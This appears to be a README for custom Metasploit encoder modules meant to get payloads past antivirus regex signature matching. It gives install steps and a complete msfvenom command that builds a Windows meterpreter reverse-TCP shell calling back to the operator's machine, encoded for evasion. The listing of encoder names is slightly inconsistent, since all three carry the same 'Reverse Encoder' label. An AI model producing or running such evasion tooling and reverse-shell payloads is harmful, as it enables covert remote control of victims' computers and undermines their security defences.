Collection of Generic Metasploit Encoder to avoid AV RegEx Pattern Matching

Metasploit_ReverseEncoder

Generic Metasploit Encoder that simply reverses the payload to avoid AV RegEx Pattern Matching

Setup

Place the *.rb file inside "/usr/share/metasploit-framework/modules/encoders/generic" folder.

Sample Usage

Try this to verify that Metasploit finds the encoder: msfvenom --list encoders

The resulting output should contain the following line

generic/reverse              normal     Reverse Encoder
generic/shuffle              normal     Reverse Encoder
generic/naturalword          normal     Reverse Encoder

Now encode your payload with -e generic/reverse, eg;

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=wlan0 LPORT=4444 -e generic/reverse -f raw -o payload.raw

Limitations:

This encoder only works with Framework Transform Formats (see msfvenom --list formats) and you need to provide your own decoder as part of the payload executable creation
